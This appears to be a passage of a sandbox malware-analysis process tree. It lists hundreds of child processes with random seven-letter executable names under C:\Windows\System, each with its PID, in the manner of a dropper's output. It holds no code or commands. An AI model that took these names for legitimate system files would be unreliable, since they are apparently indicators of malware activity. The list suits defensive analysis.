  PID:13120
- C:\Windows\System\YvLmZST.exe
  C:\Windows\System\YvLmZST.exe
  2⤵
  PID:12420
- C:\Windows\System\SnrofhI.exe
  C:\Windows\System\SnrofhI.exe
  2⤵
  PID:12760
- C:\Windows\System\OCfKXLx.exe
  C:\Windows\System\OCfKXLx.exe
  2⤵
  PID:3984
- C:\Windows\System\bqhwATU.exe
  C:\Windows\System\bqhwATU.exe
  2⤵
  PID:13180
- C:\Windows\System\WLplcon.exe
  C:\Windows\System\WLplcon.exe
  2⤵
  PID:13100
- C:\Windows\System\TNKAerO.exe
  C:\Windows\System\TNKAerO.exe
  2⤵
  PID:13212
- C:\Windows\System\IgbkDpq.exe
  C:\Windows\System\IgbkDpq.exe
  2⤵
  PID:13252
- C:\Windows\System\FGVsUGx.exe
  C:\Windows\System\FGVsUGx.exe
  2⤵
  PID:13272
- C:\Windows\System\kagaZNz.exe
  C:\Windows\System\kagaZNz.exe
  2⤵
  PID:12092
- C:\Windows\System\uySzkvc.exe
  C:\Windows\System\uySzkvc.exe
  2⤵
  PID:12688
- C:\Windows\System\RigBRbv.exe
  C:\Windows\System\RigBRbv.exe
  2⤵
  PID:12300
- C:\Windows\System\kpVIuji.exe
  C:\Windows\System\kpVIuji.exe
  2⤵
  PID:13000
- C:\Windows\System\YmSHhjD.exe
  C:\Windows\System\YmSHhjD.exe
  2⤵
  PID:12696
- C:\Windows\System\vFpXBPj.exe
  C:\Windows\System\vFpXBPj.exe
  2⤵
  PID:13004
- C:\Windows\System\OApDpln.exe
  C:\Windows\System\OApDpln.exe
  2⤵
  PID:13172
- C:\Windows\System\QUiAkcZ.exe
  C:\Windows\System\QUiAkcZ.exe
  2⤵
  PID:1148
- C:\Windows\System\gpACzPt.exe
  C:\Windows\System\gpACzPt.exe
  2⤵
  PID:13152
- C:\Windows\System\DAPqtlt.exe
  C:\Windows\System\DAPqtlt.exe
  2⤵
  PID:13224
- C:\Windows\System\YCBdxmQ.exe
  C:\Windows\System\YCBdxmQ.exe
  2⤵
  PID:13284
- C:\Windows\System\HpIXZku.exe
  C:\Windows\System\HpIXZku.exe
  2⤵
  PID:12452
- C:\Windows\System\ZHAjVUf.exe
  C:\Windows\System\ZHAjVUf.exe
  2⤵
  PID:3204
- C:\Windows\System\wOmuQZV.exe
  C:\Windows\System\wOmuQZV.exe
  2⤵
  PID:4796
- C:\Windows\System\YOaLxCH.exe
  C:\Windows\System\YOaLxCH.exe
  2⤵
  PID:12504
- C:\Windows\System\NeFfVNq.exe
  C:\Windows\System\NeFfVNq.exe
  2⤵
  PID:12472
- C:\Windows\System\DpnuFEC.exe
  C:\Windows\System\DpnuFEC.exe
  2⤵
  PID:12556
- C:\Windows\System\vemodIu.exe
  C:\Windows\System\vemodIu.exe
  2⤵
  PID:12484
- C:\Windows\System\rNkwZKy.exe
  C:\Windows\System\rNkwZKy.exe
  2⤵
  PID:12312
- C:\Windows\System\WMDoERa.exe
  C:\Windows\System\WMDoERa.exe
  2⤵
  PID:1920
- C:\Windows\System\MuPijwx.exe
  C:\Windows\System\MuPijwx.exe
  2⤵
  PID:2060
- C:\Windows\System\mXXQQET.exe
  C:\Windows\System\mXXQQET.exe
  2⤵
  PID:12952
- C:\Windows\System\QSHaOdd.exe
  C:\Windows\System\QSHaOdd.exe
  2⤵
  PID:13328
- C:\Windows\System\QJFIQrS.exe
  C:\Windows\System\QJFIQrS.exe
  2⤵
  PID:13348
- C:\Windows\System\dEgBIfi.exe
  C:\Windows\System\dEgBIfi.exe
  2⤵
  PID:13420
- C:\Windows\System\GucAIrs.exe
  C:\Windows\System\GucAIrs.exe
  2⤵
  PID:13508
- C:\Windows\System\XWTgmBa.exe
  C:\Windows\System\XWTgmBa.exe
  2⤵
  PID:13544
- C:\Windows\System\WndsTSa.exe
  C:\Windows\System\WndsTSa.exe
  2⤵
  PID:13636
- C:\Windows\System\aefgdht.exe
  C:\Windows\System\aefgdht.exe
  2⤵
  PID:13656
- C:\Windows\System\gKBmvFa.exe
  C:\Windows\System\gKBmvFa.exe
  2⤵
  PID:13676
- C:\Windows\System\WYLIJFT.exe
  C:\Windows\System\WYLIJFT.exe
  2⤵
  PID:13696
- C:\Windows\System\IGDeDAr.exe
  C:\Windows\System\IGDeDAr.exe
  2⤵
  PID:13716
- C:\Windows\System\xgHZKAk.exe
  C:\Windows\System\xgHZKAk.exe
  2⤵
  PID:13744
- C:\Windows\System\NKgqXOE.exe
  C:\Windows\System\NKgqXOE.exe
  2⤵
  PID:13868
- C:\Windows\System\hhjZqhq.exe
  C:\Windows\System\hhjZqhq.exe
  2⤵
  PID:13908
- C:\Windows\System\IiWxzQe.exe
  C:\Windows\System\IiWxzQe.exe
  2⤵
  PID:13924
- C:\Windows\System\wSRKjxk.exe
  C:\Windows\System\wSRKjxk.exe
  2⤵
  PID:13940
- C:\Windows\System\WJedJiB.exe
  C:\Windows\System\WJedJiB.exe
  2⤵
  PID:13956
- C:\Windows\System\vYbigKm.exe
  C:\Windows\System\vYbigKm.exe
  2⤵
  PID:14224
- C:\Windows\System\zmUKPSX.exe
  C:\Windows\System\zmUKPSX.exe
  2⤵
  PID:14280
- C:\Windows\System\PSqcvxD.exe
  C:\Windows\System\PSqcvxD.exe
  2⤵
  PID:2224
- C:\Windows\System\ezOynTm.exe
  C:\Windows\System\ezOynTm.exe
  2⤵
  PID:3948
- C:\Windows\System\SeZyFPC.exe
  C:\Windows\System\SeZyFPC.exe
  2⤵
  PID:4908
- C:\Windows\System\DVGCXYX.exe
  C:\Windows\System\DVGCXYX.exe
  2⤵
  PID:1704
- C:\Windows\System\fCAHaDL.exe
  C:\Windows\System\fCAHaDL.exe
  2⤵
  PID:4648
- C:\Windows\System\hmuHmrc.exe
  C:\Windows\System\hmuHmrc.exe
  2⤵
  PID:1168
- C:\Windows\System\mrcaJjn.exe
  C:\Windows\System\mrcaJjn.exe
  2⤵
  PID:3108
- C:\Windows\System\eYDkgqs.exe
  C:\Windows\System\eYDkgqs.exe
  2⤵
  PID:13008
- C:\Windows\System\GBrkhef.exe
  C:\Windows\System\GBrkhef.exe
  2⤵
  PID:12628
- C:\Windows\System\RsRlzti.exe
  C:\Windows\System\RsRlzti.exe
  2⤵
  PID:7792
- C:\Windows\System\TIAhezB.exe
  C:\Windows\System\TIAhezB.exe
  2⤵
  PID:4260
- C:\Windows\System\Avnhbul.exe
  C:\Windows\System\Avnhbul.exe
  2⤵
  PID:1712
- C:\Windows\System\RbaCsGS.exe
  C:\Windows\System\RbaCsGS.exe
  2⤵
  PID:13368
- C:\Windows\System\urYpQAq.exe
  C:\Windows\System\urYpQAq.exe
  2⤵
  PID:5820
- C:\Windows\System\SLrmEVo.exe
  C:\Windows\System\SLrmEVo.exe
  2⤵
  PID:13568
- C:\Windows\System\RDqzyDT.exe
  C:\Windows\System\RDqzyDT.exe
  2⤵
  PID:3496
- C:\Windows\System\zNkVebT.exe
  C:\Windows\System\zNkVebT.exe
  2⤵
  PID:12652
- C:\Windows\System\vxlqrav.exe
  C:\Windows\System\vxlqrav.exe
  2⤵
  PID:12872
- C:\Windows\System\xbMrPbR.exe
  C:\Windows\System\xbMrPbR.exe
  2⤵
  PID:13880
- C:\Windows\System\OOqwenV.exe
  C:\Windows\System\OOqwenV.exe
  2⤵
  PID:13988
- C:\Windows\System\lpwbVEZ.exe
  C:\Windows\System\lpwbVEZ.exe
  2⤵
  PID:13808
- C:\Windows\System\siDWRPx.exe
  C:\Windows\System\siDWRPx.exe
  2⤵
  PID:13936
- C:\Windows\System\OFfJPTD.exe
  C:\Windows\System\OFfJPTD.exe
  2⤵
  PID:5272
- C:\Windows\System\GIJtROH.exe
  C:\Windows\System\GIJtROH.exe
  2⤵
  PID:13964
- C:\Windows\System\wfXvHnd.exe
  C:\Windows\System\wfXvHnd.exe
  2⤵
  PID:5084
- C:\Windows\System\BKviqNq.exe
  C:\Windows\System\BKviqNq.exe
  2⤵
  PID:13884
- C:\Windows\System\nOUqfds.exe
  C:\Windows\System\nOUqfds.exe
  2⤵
  PID:14052
- C:\Windows\System\wWULESz.exe
  C:\Windows\System\wWULESz.exe
  2⤵
  PID:14016
- C:\Windows\System\drWsjHD.exe
  C:\Windows\System\drWsjHD.exe
  2⤵
  PID:13984
- C:\Windows\System\qlBETGz.exe
  C:\Windows\System\qlBETGz.exe
  2⤵
  PID:1044
- C:\Windows\System\VHZVeKs.exe
  C:\Windows\System\VHZVeKs.exe
  2⤵
  PID:14064
- C:\Windows\System\WepsicX.exe
  C:\Windows\System\WepsicX.exe
  2⤵
  PID:14200
- C:\Windows\System\jELwIeq.exe
  C:\Windows\System\jELwIeq.exe
  2⤵
  PID:5184
- C:\Windows\System\nmlZnKH.exe
  C:\Windows\System\nmlZnKH.exe
  2⤵
  PID:14220
- C:\Windows\System\KGTIXsN.exe
  C:\Windows\System\KGTIXsN.exe
  2⤵
  PID:5344
- C:\Windows\System\tTCaTkk.exe
  C:\Windows\System\tTCaTkk.exe
  2⤵
  PID:756
- C:\Windows\System\EyuSaYm.exe
  C:\Windows\System\EyuSaYm.exe
  2⤵
  PID:4676
- C:\Windows\System\aARzbJB.exe
  C:\Windows\System\aARzbJB.exe
  2⤵
  PID:5476
- C:\Windows\System\iXMsoEH.exe
  C:\Windows\System\iXMsoEH.exe
  2⤵
  PID:14196
- C:\Windows\System\BJVMbDc.exe
  C:\Windows\System\BJVMbDc.exe
  2⤵
  PID:14316
- C:\Windows\System\hcrRAhw.exe
  C:\Windows\System\hcrRAhw.exe
  2⤵
  PID:1052
- C:\Windows\System\lnOYEZU.exe
  C:\Windows\System\lnOYEZU.exe
  2⤵
  PID:5684
- C:\Windows\System\NhjRQdu.exe
  C:\Windows\System\NhjRQdu.exe
  2⤵
  PID:14288
- C:\Windows\System\yVlTfwt.exe
  C:\Windows\System\yVlTfwt.exe
  2⤵
  PID:3020
- C:\Windows\System\CoeEwel.exe
  C:\Windows\System\CoeEwel.exe
  2⤵
  PID:12444
- C:\Windows\System\emCtVIz.exe
  C:\Windows\System\emCtVIz.exe
  2⤵
  PID:872
- C:\Windows\System\xPuPJmr.exe
  C:\Windows\System\xPuPJmr.exe
  2⤵
  PID:1540
- C:\Windows\System\pAWIeYi.exe
  C:\Windows\System\pAWIeYi.exe
  2⤵
  PID:2548
- C:\Windows\System\DClUFEt.exe
  C:\Windows\System\DClUFEt.exe
  2⤵
  PID:12544
- C:\Windows\System\vfKsaZV.exe
  C:\Windows\System\vfKsaZV.exe
  2⤵
  PID:11668
- C:\Windows\System\WFyxdVv.exe
  C:\Windows\System\WFyxdVv.exe
  2⤵
  PID:4572
- C:\Windows\System\caGfEKi.exe
  C:\Windows\System\caGfEKi.exe
  2⤵
  PID:4028
- C:\Windows\System\drDjUcc.exe
  C:\Windows\System\drDjUcc.exe
  2⤵
  PID:12716
- C:\Windows\System\kcTPrVS.exe
  C:\Windows\System\kcTPrVS.exe
  2⤵
  PID:6048
- C:\Windows\System\ItsHxog.exe
  C:\Windows\System\ItsHxog.exe
  2⤵
  PID:5832
- C:\Windows\System\edGfGgF.exe
  C:\Windows\System\edGfGgF.exe
  2⤵
  PID:13524
- C:\Windows\System\DhcBkNV.exe
  C:\Windows\System\DhcBkNV.exe
  2⤵
  PID:12880
- C:\Windows\System\mPdNdmQ.exe
  C:\Windows\System\mPdNdmQ.exe
  2⤵
  PID:9512
- C:\Windows\System\rBrSbuB.exe
  C:\Windows\System\rBrSbuB.exe
  2⤵
  PID:2300
- C:\Windows\System\SbJQoft.exe
  C:\Windows\System\SbJQoft.exe
  2⤵
  PID:1100
- C:\Windows\System\qCscFqU.exe
  C:\Windows\System\qCscFqU.exe
  2⤵
  PID:5888
- C:\Windows\System\yzSFxSh.exe
  C:\Windows\System\yzSFxSh.exe
  2⤵
  PID:2244
- C:\Windows\System\wOnZMrB.exe
  C:\Windows\System\wOnZMrB.exe
  2⤵
  PID:2112
- C:\Windows\System\MGEtFEJ.exe
  C:\Windows\System\MGEtFEJ.exe
  2⤵
  PID:5284
- C:\Windows\System\rSBQBRY.exe
  C:\Windows\System\rSBQBRY.exe
  2⤵
  PID:13304
- C:\Windows\System\PCXkvPF.exe
  C:\Windows\System\PCXkvPF.exe
  2⤵
  PID:2096
- C:\Windows\System\NItTzuK.exe
  C:\Windows\System\NItTzuK.exe
  2⤵
  PID:13484
- C:\Windows\System\YmcQfgb.exe
  C:\Windows\System\YmcQfgb.exe
  2⤵
  PID:13592
- C:\Windows\System\rUSIVzs.exe
  C:\Windows\System\rUSIVzs.exe
  2⤵
  PID:14248
- C:\Windows\System\BtlEIBq.exe
  C:\Windows\System\BtlEIBq.exe
  2⤵
  PID:13788
- C:\Windows\System\ThazMIA.exe
  C:\Windows\System\ThazMIA.exe
  2⤵
  PID:13860
- C:\Windows\System\KnwNNtD.exe
  C:\Windows\System\KnwNNtD.exe
  2⤵
  PID:3600
- C:\Windows\System\VkBKhaQ.exe
  C:\Windows\System\VkBKhaQ.exe
  2⤵
  PID:64
- C:\Windows\System\XDeLTaL.exe
  C:\Windows\System\XDeLTaL.exe
  2⤵
  PID:5148
- C:\Windows\System\TnDqseF.exe
  C:\Windows\System\TnDqseF.exe
  2⤵
  PID:14240
- C:\Windows\System\XWXuIjG.exe
  C:\Windows\System\XWXuIjG.exe
  2⤵
  PID:4300
- C:\Windows\System\DxvfpGI.exe
  C:\Windows\System\DxvfpGI.exe
  2⤵
  PID:2556
- C:\Windows\System\ZaEMWTA.exe
  C:\Windows\System\ZaEMWTA.exe
  2⤵
  PID:13692
- C:\Windows\System\eHXTknF.exe
  C:\Windows\System\eHXTknF.exe
  2⤵
  PID:13616
- C:\Windows\System\dQcICUf.exe
  C:\Windows\System\dQcICUf.exe
  2⤵
  PID:2600
- C:\Windows\System\YTGoaFm.exe
  C:\Windows\System\YTGoaFm.exe
  2⤵
  PID:13404
- C:\Windows\System\wDmcoAu.exe
  C:\Windows\System\wDmcoAu.exe
  2⤵
  PID:12640
- C:\Windows\System\eGcfLbo.exe
  C:\Windows\System\eGcfLbo.exe
  2⤵
  PID:5404
- C:\Windows\System\xuoZFKj.exe
  C:\Windows\System\xuoZFKj.exe
  2⤵
  PID:5032
- C:\Windows\System\HbPLLjl.exe
  C:\Windows\System\HbPLLjl.exe
  2⤵
  PID:5480
- C:\Windows\System\WqPMxxe.exe
  C:\Windows\System\WqPMxxe.exe
  2⤵
  PID:6320
- C:\Windows\System\giwEouM.exe
  C:\Windows\System\giwEouM.exe
  2⤵
  PID:5324
- C:\Windows\System\zEwzHRS.exe
  C:\Windows\System\zEwzHRS.exe
  2⤵
  PID:1660
- C:\Windows\System\jdqvExS.exe
  C:\Windows\System\jdqvExS.exe
  2⤵
  PID:14100
- C:\Windows\System\gulolda.exe
  C:\Windows\System\gulolda.exe
  2⤵
  PID:5800
- C:\Windows\System\gHCsUQU.exe
  C:\Windows\System\gHCsUQU.exe
  2⤵
  PID:14020
- C:\Windows\System\imBwnox.exe
  C:\Windows\System\imBwnox.exe
  2⤵
  PID:4628
- C:\Windows\System\JqpuxVM.exe
  C:\Windows\System\JqpuxVM.exe
  2⤵
  PID:13324
- C:\Windows\System\tKYGXym.exe
  C:\Windows\System\tKYGXym.exe
  2⤵
  PID:3412
- C:\Windows\System\UaHqJIW.exe
  C:\Windows\System\UaHqJIW.exe
  2⤵
  PID:6056
- C:\Windows\System\gtqPbcm.exe
  C:\Windows\System\gtqPbcm.exe
  2⤵
  PID:2168
- C:\Windows\System\kRFTfMM.exe
  C:\Windows\System\kRFTfMM.exe
  2⤵
  PID:13372
- C:\Windows\System\IWWdAyl.exe
  C:\Windows\System\IWWdAyl.exe
  2⤵
  PID:13820
- C:\Windows\System\LhaiZRc.exe
  C:\Windows\System\LhaiZRc.exe
  2⤵
  PID:13320
- C:\Windows\System\cFSkMDU.exe
  C:\Windows\System\cFSkMDU.exe
  2⤵
  PID:4748
- C:\Windows\System\ulyokwm.exe
  C:\Windows\System\ulyokwm.exe
  2⤵
  PID:14332
- C:\Windows\System\MTwMhev.exe
  C:\Windows\System\MTwMhev.exe
  2⤵
  PID:6236
- C:\Windows\System\fBkmnYI.exe
  C:\Windows\System\fBkmnYI.exe
  2⤵
  PID:13844
- C:\Windows\System\ENybjVe.exe
  C:\Windows\System\ENybjVe.exe
  2⤵
  PID:6308
- C:\Windows\System\IcCVcTV.exe
  C:\Windows\System\IcCVcTV.exe
  2⤵
  PID:13816
- C:\Windows\System\lJjsfdn.exe
  C:\Windows\System\lJjsfdn.exe
  2⤵
  PID:4472
- C:\Windows\System\SRpULqI.exe
  C:\Windows\System\SRpULqI.exe
  2⤵
  PID:13336
- C:\Windows\System\QKKbcVi.exe
  C:\Windows\System\QKKbcVi.exe
  2⤵
  PID:13300
- C:\Windows\System\VXuvzJp.exe
  C:\Windows\System\VXuvzJp.exe
  2⤵
  PID:12476
- C:\Windows\System\xZebDkm.exe
  C:\Windows\System\xZebDkm.exe
  2⤵
  PID:13704
- C:\Windows\System\ngFpWRT.exe
  C:\Windows\System\ngFpWRT.exe
  2⤵
  PID:2592
- C:\Windows\System\SUEIsze.exe
  C:\Windows\System\SUEIsze.exe
  2⤵
  PID:404
- C:\Windows\System\sxyBHjS.exe
  C:\Windows\System\sxyBHjS.exe
  2⤵
  PID:4548
- C:\Windows\System\HiarQwq.exe
  C:\Windows\System\HiarQwq.exe
  2⤵
  PID:12804
- C:\Windows\System\JYuWmHW.exe
  C:\Windows\System\JYuWmHW.exe
  2⤵
  PID:6380
- C:\Windows\System\ukzErpN.exe
  C:\Windows\System\ukzErpN.exe
  2⤵
  PID:6356
- C:\Windows\System\XMDyxvt.exe
  C:\Windows\System\XMDyxvt.exe
  2⤵
  PID:13612
- C:\Windows\System\siGUOHS.exe
  C:\Windows\System\siGUOHS.exe
  2⤵
  PID:5192
- C:\Windows\System\ZhbkUmQ.exe
  C:\Windows\System\ZhbkUmQ.exe
  2⤵
  PID:5848
- C:\Windows\System\saPLKhq.exe
  C:\Windows\System\saPLKhq.exe
  2⤵
  PID:6288
- C:\Windows\System\oxquYvD.exe
  C:\Windows\System\oxquYvD.exe
  2⤵
  PID:1992
- C:\Windows\System\ldegMPR.exe
  C:\Windows\System\ldegMPR.exe
  2⤵
  PID:5704
- C:\Windows\System\OwisEMG.exe
  C:\Windows\System\OwisEMG.exe
  2⤵
  PID:6280
- C:\Windows\System\iZVELTq.exe
  C:\Windows\System\iZVELTq.exe
  2⤵
  PID:6524
- C:\Windows\System\kKJsZMb.exe
  C:\Windows\System\kKJsZMb.exe
  2⤵
  PID:5224
- C:\Windows\System\jwEhgTN.exe
  C:\Windows\System\jwEhgTN.exe
  2⤵
  PID:4644
- C:\Windows\System\gmZCioT.exe
  C:\Windows\System\gmZCioT.exe
  2⤵
  PID:13436
- C:\Windows\System\ASyKxzm.exe
  C:\Windows\System\ASyKxzm.exe
  2⤵
  PID:4956
- C:\Windows\System\vkdAygQ.exe
  C:\Windows\System\vkdAygQ.exe
  2⤵
  PID:532
- C:\Windows\System\qfcJxbb.exe
  C:\Windows\System\qfcJxbb.exe
  2⤵
  PID:3144
- C:\Windows\System\KWLcdjx.exe
  C:\Windows\System\KWLcdjx.exe
  2⤵
  PID:7688
- C:\Windows\System\EDrRHxP.exe
  C:\Windows\System\EDrRHxP.exe
  2⤵
  PID:2484
- C:\Windows\System\jQDnbEz.exe
  C:\Windows\System\jQDnbEz.exe
  2⤵
  PID:7804
- C:\Windows\System\ZTFNOSl.exe
  C:\Windows\System\ZTFNOSl.exe
  2⤵
  PID:7860
- C:\Windows\System\jNBfKwo.exe
  C:\Windows\System\jNBfKwo.exe
  2⤵
  PID:5548
- C:\Windows\System\GDRVSmW.exe
  C:\Windows\System\GDRVSmW.exe
  2⤵
  PID:3404
- C:\Windows\System\AKXVNQj.exe
  C:\Windows\System\AKXVNQj.exe
  2⤵
  PID:7264
- C:\Windows\System\KdwCfyk.exe
  C:\Windows\System\KdwCfyk.exe
  2⤵
  PID:7184
- C:\Windows\System\LlWdsbD.exe
  C:\Windows\System\LlWdsbD.exe
  2⤵
  PID:6396
- C:\Windows\System\MrLmTYS.exe
  C:\Windows\System\MrLmTYS.exe
  2⤵
  PID:4220
- C:\Windows\System\krkZfBH.exe
  C:\Windows\System\krkZfBH.exe
  2⤵
  PID:8044
- C:\Windows\System\XvEnuPe.exe
  C:\Windows\System\XvEnuPe.exe
  2⤵
  PID:5988
- C:\Windows\System\BoIxRKC.exe
  C:\Windows\System\BoIxRKC.exe
  2⤵
  PID:2432
- C:\Windows\System\bpnfFvp.exe
  C:\Windows\System\bpnfFvp.exe
  2⤵
  PID:2156
- C:\Windows\System\wUcDzAy.exe
  C:\Windows\System\wUcDzAy.exe
  2⤵
  PID:14344
- C:\Windows\System\lYdcsfu.exe
  C:\Windows\System\lYdcsfu.exe
  2⤵
  PID:14364
- C:\Windows\System\GnzFoeK.exe
  C:\Windows\System\GnzFoeK.exe
  2⤵
  PID:14384
- C:\Windows\System\tjyoIpN.exe
  C:\Windows\System\tjyoIpN.exe
  2⤵
  PID:14404
- C:\Windows\System\nYdCZse.exe
  C:\Windows\System\nYdCZse.exe
  2⤵
  PID:14432
- C:\Windows\System\SPSqTag.exe
  C:\Windows\System\SPSqTag.exe
  2⤵
  PID:14456
- C:\Windows\System\cVbpgmv.exe
  C:\Windows\System\cVbpgmv.exe
  2⤵
  PID:14476
- C:\Windows\System\HsRNVmu.exe
  C:\Windows\System\HsRNVmu.exe
  2⤵
  PID:14496
- C:\Windows\System\cRoxSHj.exe
  C:\Windows\System\cRoxSHj.exe
  2⤵
  PID:14608
- C:\Windows\System\zmTmKey.exe
  C:\Windows\System\zmTmKey.exe
  2⤵
  PID:14628
- C:\Windows\System\NypAYxZ.exe
  C:\Windows\System\NypAYxZ.exe
  2⤵
  PID:14836
- C:\Windows\System\fIKxclW.exe
  C:\Windows\System\fIKxclW.exe
  2⤵
  PID:14856
- C:\Windows\System\OGMCmQo.exe
  C:\Windows\System\OGMCmQo.exe
  2⤵
  PID:15124
- C:\Windows\System\vLAyFgX.exe
  C:\Windows\System\vLAyFgX.exe
  2⤵
  PID:15152
- C:\Windows\System\MCetyWz.exe
  C:\Windows\System\MCetyWz.exe
  2⤵
  PID:15168
- C:\Windows\System\zLWcvja.exe
  C:\Windows\System\zLWcvja.exe
  2⤵
  PID:15188
- C:\Windows\System\dNAADfv.exe
  C:\Windows\System\dNAADfv.exe
  2⤵
  PID:6848
- C:\Windows\System\UqWVUvf.exe
  C:\Windows\System\UqWVUvf.exe
  2⤵
  PID:7080
- C:\Windows\System\ULcfpds.exe
  C:\Windows\System\ULcfpds.exe
  2⤵
  PID:7580
- C:\Windows\System\DkPUKWs.exe
  C:\Windows\System\DkPUKWs.exe
  2⤵
  PID:14444
- C:\Windows\System\yCMVSHE.exe
  C:\Windows\System\yCMVSHE.exe
  2⤵
  PID:7612
- C:\Windows\System\crhnini.exe
  C:\Windows\System\crhnini.exe
  2⤵
  PID:14488
- C:\Windows\System\yIhLYcw.exe
  C:\Windows\System\yIhLYcw.exe
  2⤵
  PID:14704
- C:\Windows\System\jGJstMN.exe
  C:\Windows\System\jGJstMN.exe
  2⤵
  PID:14532
- C:\Windows\System\ZoPFPTQ.exe
  C:\Windows\System\ZoPFPTQ.exe
  2⤵
  PID:8052
- C:\Windows\System\xUACgBA.exe
  C:\Windows\System\xUACgBA.exe
  2⤵
  PID:14588
- C:\Windows\System\xAMZbYQ.exe
  C:\Windows\System\xAMZbYQ.exe
  2⤵
  PID:14772
- C:\Windows\System\cKoDrmV.exe
  C:\Windows\System\cKoDrmV.exe
  2⤵
  PID:14664
- C:\Windows\System\SPOJWkk.exe
  C:\Windows\System\SPOJWkk.exe
  2⤵
  PID:8396
- C:\Windows\System\OXFboSA.exe
  C:\Windows\System\OXFboSA.exe
  2⤵
  PID:14896
- C:\Windows\System\rFhCzpu.exe
  C:\Windows\System\rFhCzpu.exe
  2⤵
  PID:14908
- C:\Windows\System\ohjUOlI.exe
  C:\Windows\System\ohjUOlI.exe
  2⤵
  PID:14972
- C:\Windows\System\XlnYrSz.exe
  C:\Windows\System\XlnYrSz.exe
  2⤵
  PID:15088
- C:\Windows\System\KlZQJUO.exe
  C:\Windows\System\KlZQJUO.exe
  2⤵
  PID:7740
- C:\Windows\System\WBIWzmS.exe
  C:\Windows\System\WBIWzmS.exe
  2⤵
  PID:15136
- C:\Windows\System\BFpuxXe.exe
  C:\Windows\System\BFpuxXe.exe
  2⤵
  PID:15120
- C:\Windows\System\aWTHrcC.exe
  C:\Windows\System\aWTHrcC.exe
  2⤵
  PID:15144
- C:\Windows\System\DOOojrZ.exe
  C:\Windows\System\DOOojrZ.exe
  2⤵
  PID:15224
- C:\Windows\System\LWPvMPT.exe
  C:\Windows\System\LWPvMPT.exe
  2⤵
  PID:9184
- C:\Windows\System\SWbgWYY.exe
  C:\Windows\System\SWbgWYY.exe
  2⤵
  PID:15272
- C:\Windows\System\wBXujqJ.exe
  C:\Windows\System\wBXujqJ.exe
  2⤵
  PID:8600
- C:\Windows\System\OksgNLJ.exe
  C:\Windows\System\OksgNLJ.exe
  2⤵
  PID:8460
- C:\Windows\System\XGLrZzY.exe
  C:\Windows\System\XGLrZzY.exe
  2⤵
  PID:6592
- C:\Windows\System\ncQsxDX.exe
  C:\Windows\System\ncQsxDX.exe
  2⤵
  PID:8212
- C:\Windows\System\eElMusD.exe
  C:\Windows\System\eElMusD.exe
  2⤵
  PID:15312
- C:\Windows\System\SWIDQbn.exe
  C:\Windows\System\SWIDQbn.exe
  2⤵
  PID:15268
- C:\Windows\System\eVseFgO.exe
  C:\Windows\System\eVseFgO.exe
  2⤵
  PID:9132
- C:\Windows\System\uQEcnCL.exe
  C:\Windows\System\uQEcnCL.exe
  2⤵
  PID:7420
- C:\Windows\System\jaGYVDk.exe
  C:\Windows\System\jaGYVDk.exe
  2⤵
  PID:2800
- C:\Windows\System\bcTWObc.exe
  C:\Windows\System\bcTWObc.exe
  2⤵
  PID:9200
- C:\Windows\System\qpufRbO.exe
  C:\Windows\System\qpufRbO.exe
  2⤵
  PID:7684
- C:\Windows\System\xyhbfMX.exe
  C:\Windows\System\xyhbfMX.exe
  2⤵
  PID:7400
- C:\Windows\System\EeUzSgV.exe
  C:\Windows\System\EeUzSgV.exe
  2⤵
  PID:5336
- C:\Windows\System\lpmJRWj.exe
  C:\Windows\System\lpmJRWj.exe
  2⤵
  PID:8312
- C:\Windows\System\owxsxoT.exe
  C:\Windows\System\owxsxoT.exe
  2⤵
  PID:8656
- C:\Windows\System\vkPNtfS.exe
  C:\Windows\System\vkPNtfS.exe
  2⤵
  PID:9208
- C:\Windows\System\VWGDwbp.exe
  C:\Windows\System\VWGDwbp.exe
  2⤵
  PID:15328
- C:\Windows\System\qWVcLTA.exe
  C:\Windows\System\qWVcLTA.exe
  2⤵
  PID:14508
- C:\Windows\System\DUdbtGp.exe
  C:\Windows\System\DUdbtGp.exe
  2⤵
  PID:8480
- C:\Windows\System\ASaWtJh.exe
  C:\Windows\System\ASaWtJh.exe
  2⤵
  PID:7024
- C:\Windows\System\ljsrGiL.exe
  C:\Windows\System\ljsrGiL.exe
  2⤵
  PID:9056
- C:\Windows\System\PxpTMqJ.exe
  C:\Windows\System\PxpTMqJ.exe
  2⤵
  PID:8872
- C:\Windows\System\Oquektu.exe
  C:\Windows\System\Oquektu.exe
  2⤵
  PID:7964
- C:\Windows\System\kymDXzv.exe
  C:\Windows\System\kymDXzv.exe
  2⤵
  PID:6108
- C:\Windows\System\grQnXrQ.exe
  C:\Windows\System\grQnXrQ.exe
  2⤵
  PID:14448
- C:\Windows\System\nCNEpIF.exe
  C:\Windows\System\nCNEpIF.exe
  2⤵
  PID:7496
- C:\Windows\System\WzehrWv.exe
  C:\Windows\System\WzehrWv.exe
  2⤵
  PID:3012
- C:\Windows\System\MpzPlrY.exe
  C:\Windows\System\MpzPlrY.exe
  2⤵
  PID:14788
- C:\Windows\System\gHyGhMn.exe
  C:\Windows\System\gHyGhMn.exe
  2⤵
  PID:7072
- C:\Windows\System\PoWdjUV.exe
  C:\Windows\System\PoWdjUV.exe
  2⤵
  PID:7560
- C:\Windows\System\plOXzkK.exe
  C:\Windows\System\plOXzkK.exe
  2⤵
  PID:4836
- C:\Windows\System\zHWFyuO.exe
  C:\Windows\System\zHWFyuO.exe
  2⤵
  PID:7952
- C:\Windows\System\ugcUBUg.exe
  C:\Windows\System\ugcUBUg.exe
  2⤵
  PID:3640
- C:\Windows\System\NUZYAtp.exe
  C:\Windows\System\NUZYAtp.exe
  2⤵
  PID:9364
- C:\Windows\System\UJDCMsW.exe
  C:\Windows\System\UJDCMsW.exe
  2⤵
  PID:8296
- C:\Windows\System\ABbrywT.exe
  C:\Windows\System\ABbrywT.exe
  2⤵
  PID:14756
- C:\Windows\System\ZcWBAda.exe
  C:\Windows\System\ZcWBAda.exe
  2⤵
  PID:13764
- C:\Windows\System\pCvfxik.exe
  C:\Windows\System\pCvfxik.exe
  2⤵
  PID:15176
- C:\Windows\System\YKbKSFk.exe
  C:\Windows\System\YKbKSFk.exe
  2⤵
  PID:14352
- C:\Windows\System\BgCgVIC.exe
  C:\Windows\System\BgCgVIC.exe
  2⤵
  PID:7608
- C:\Windows\System\EpPeDOp.exe
  C:\Windows\System\EpPeDOp.exe
  2⤵
  PID:8328
- C:\Windows\System\Dftwceh.exe
  C:\Windows\System\Dftwceh.exe
  2⤵
  PID:8880
- C:\Windows\System\dIJAIOD.exe
  C:\Windows\System\dIJAIOD.exe
  2⤵
  PID:14892
- C:\Windows\System\JcfrGUf.exe
  C:\Windows\System\JcfrGUf.exe
  2⤵
  PID:9412
